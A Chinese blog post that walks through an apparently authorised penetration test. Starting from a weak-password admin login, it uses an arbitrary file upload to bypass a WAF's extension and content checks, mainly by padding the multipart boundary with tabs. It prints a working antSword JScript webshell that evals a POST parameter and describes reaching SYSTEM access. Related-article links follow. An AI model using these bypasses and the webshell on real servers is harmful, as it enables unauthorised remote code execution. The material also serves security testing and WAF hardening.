本次测试为授权测试。

0x01 背景

弱口令进入某后台,存在任意文件上传,存在waf

测试aa后缀成功上传通过查看派单可以看到文件路径

直接上传aspx被拦截

0x02 绕过后缀名检测

先简单尝试大小写被拦截,ashx,asmx,asp,cer都被拦截

直接上传cshtml,可参考https://www.cnblogs.com/cwkiller/p/12087890.html

访问跳转404,估计是不解析

尝试直接绕过waf后缀检测简单测试后发现在双引号后面加个单引号就能绕过

0x03 绕过内容检测

直接上冰蝎马,发现检测内容被waf拦截了

复制图片内容把马夹在中间,依旧绕不过,有的waf可能比较大的包就直接放行了,这个不行我复制了很大的图片内容依然被拦截

这个站在之前测试注入过程中并没有发现waf,尝试直接将一句话post发送(非上传格式)发现并不会拦截

猜测waf肯定通过Content-Type: multipart/form-data来判定这是个上传包,然后就检测内容

而waf是如何解析post包哪个地方是上传的内容呢,是根据

Content-Type: multipart/form-data; boundary=---------------------------7e43d3910182

Content-Type中boundary的值---------------------------7e43d3910182

那么思路就来了,我们在---------------------------7e43d3910182后加多个Tab键服务端既正常解析上传内容而waf则可能通过

---------------------------7e43d3910182TabTab 去查找上传的内容然而并找不到从而被绕过,讲了这么就那肯定要测一把

bingo成功绕过内容检测

0x04 奇怪的404

上传成功了先访问马看看

又是这个情况,哪里出问题了呢,直接连接马也连不上,抽根烟记起之前搞得一个jsp站也是上传成功了老是404https://www.cnblogs.com/cwkiller/p/11788009.html

可能是马要有内容输出才不会404,直接上大马,连接成功system权限

验证是否是马要有内容输出才不会404,上传打印当前时间的aspx

<%@Page Language="C#"%>
<%
Response.Write(DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
System.IO.File.Delete(Request.PhysicalPath);
%>

印证猜测,蚁剑马增加一句输出hello,world语句

<%@ Page Language="Jscript" Debug=true%>
<%
Response.Write("hello,world");
var hw=Request.Form("mr6");
var du='iNUZuDe';
var zu=du.replace("iNUZuD","unsaf");
function RIEo(BWrg)
{eval(BWrg,zu);}
RIEo(hw);
%>

带上cookie(此目录下的文件需要登录才能访问),连接成功

实战绕过某waf后缀检测内容检测的更多相关文章

  1. 文件上传bypass jsp内容检测的一些方法

    bx2=冰蝎2 前段时间渗透遇到了个检测jsp内容的,然后发现全unicode编码就可以绕过,但是对bx2马进行全编码他出现了一些错误,我尝试简单改了下,日站还是bx2操作舒服点 检测内容的话,这样直 ...

  2. oss滤网图片音视频过滤(1)内容检测

    图片音视频过滤有好多方法,我这里就不一一介绍了,这篇文章只是简单介绍一下我在项目中使用阿里云oss滤网过滤的步骤 1.所遇问题: 1.图片视频鉴别时要设置textScanRequest.setUriP ...

  3. JavaScript 小实例 - 表单输入内容检测,对页面的增删改

    JavaScript 小实例 - 表单输入内容检测,对页面的增删改 效果体验地址:https://xpwi.github.io/js/JavaScript01/jsForm.html 功能: 1.向页 ...

  4. PCB 奥宝LDI 输出自动改周期检测内容

    继续完善奥宝LDI输出,在自动更新周期发现前期梳理不过完善或出些从未考虑到的工艺问题, 今天将更改线路周期检测内容整理如下

  5. PHP 实现微信小程序敏感图片、内容检测接口

    主要是为了调用微信小程序msgSecCheck.imgSecCheck接口. 先附上小程序接口说明文档地址:https://developers.weixin.qq.com/miniprogram/d ...

  6. 全方位绕过软WAF攻略

    0×00 前言 现在软waf较为多,就在今年夏天苦逼挖洞的日子里经常遇到360主机卫士,安全狗,云锁之类的软waf进行拦截,经常碰到如下拦截提示: 看到以上三个拦截提示就让人头疼不已,欲罢不能. so ...

  7. 【python+opencv】直线检测+圆检测

     Python+OpenCV图像处理—— 直线检测 直线检测理论知识: 1.霍夫变换(Hough Transform) 霍夫变换是图像处理中从图像中识别几何形状的基本方法之一,应用很广泛,也有很多改进 ...

  8. [OpenCV实战]5 基于深度学习的文本检测

    目录 1 网络加载 2 读取图像 3 前向传播 4 处理输出 3结果和代码 3.1结果 3.2 代码 参考 在这篇文章中,我们将逐字逐句地尝试找到图片中的单词!基于最近的一篇论文进行文字检测. EAS ...

  9. shell 脚本实战笔记(6)--集群环境配置检测

    1). 背景: 集群部署的时候, 需要一致的配置和环境设置. 对于虚拟机集群, 可以借助镜像拷贝, 复制和还原集群机器. 对与物理机集群而言, 则不一样, 如果机器一多, 多人去操作和配置, 对于成熟 ...

  10. vue.js实战——props数据验证(自定义构造器检测)

    Vue.component('my-component',{ props:{ //必须是数字类型 propA:Number, //必须是字符串或数字类型 propB:[String,Number], ...

随机推荐

  1. 【Java】关键字的使用

    java中有很多的关键字,他们的使用让Java语言变得更加灵活.易用,下面将介绍Java中最常用的几个关键字并说明其用法. 一.关键字:return--跳出 使用在方法体中,用于:① 结束方法② 针对 ...

  2. 【Python】Python使用Tk实现动态爱心效果

    [Python]Python使用Tk实现动态爱心效果 深夜种下希望,梦中便能发芽 相对于之前的版本(晚上星月争辉,美梦陪你入睡),解决了看起来很卡.爱心跳动死板和外围光环不怎么灵动的问题,添加了文字功 ...

  3. JBoltAI 与 AIGS 的深度融合:重构企业数智化未来

    在企业数智化转型浪潮中,JBoltAI 凭借其独特的 AIGS(AI Generate Service)解决方案,正成为连接大模型能力与企业实际需求的桥梁.其核心价值在于通过技术框架的重构,将 AI ...

  4. .net WorkFlow 流程传阅

    WikeFlow官网:www.wikesoft.com WikeFlow学习版演示地址:workflow.wikesoft.com WikeFlow学习版源代码下载:https://gitee.com ...

  5. jmeter使用之数据关联

  6. symfony Fatal error: Declaration of App\DataFixtures\AppFixtures::load(Doctrine\Common\Persistence

    报错: Fatal error: Declaration of App\DataFixtures\AppFixtures::load(Doctrine\Common\Persistence\Objec ...

  7. 墨刀上线高级交互功能,能否超越Axure?

    引言 近期,国内主流原型设计工具墨刀推出了"变量.条件判断.函数"等功能,立刻在交互设计师与资深产品经理群体中引起热议.作为国产轻量级原型设计工具的龙头代表,墨刀早已俘获了中小团队 ...

  8. 最新最完整的iphone开发ios开发证书/发布证书/推送证书/企业证书和描述文件制作方法与教程

    本文介绍最新的最全的如何制作 iOS 证书(开发证书.发布证书.推送证书,企业证书)和iphone配置描述文件,用于iphone和ipad开发构建 IOS App 应用.如果嫌麻烦,可以使用懒人工具a ...

  9. FastAPI数据库连接池配置与监控

    title: FastAPI数据库连接池配置与监控 date: 2025/04/28 00:13:02 updated: 2025/04/28 00:13:02 author: cmdragon ex ...

  10. Java开发手册——【强制】所有整型包装类对象之间值的比较,全部使用 equals 方法比较

    Java开发手册说明: 对于 Integer var = ? 在-128 至 127 之间的赋值,Integer 对象是在 IntegerCache.cache 产生,会复用已有对象,这个区间内的 I ...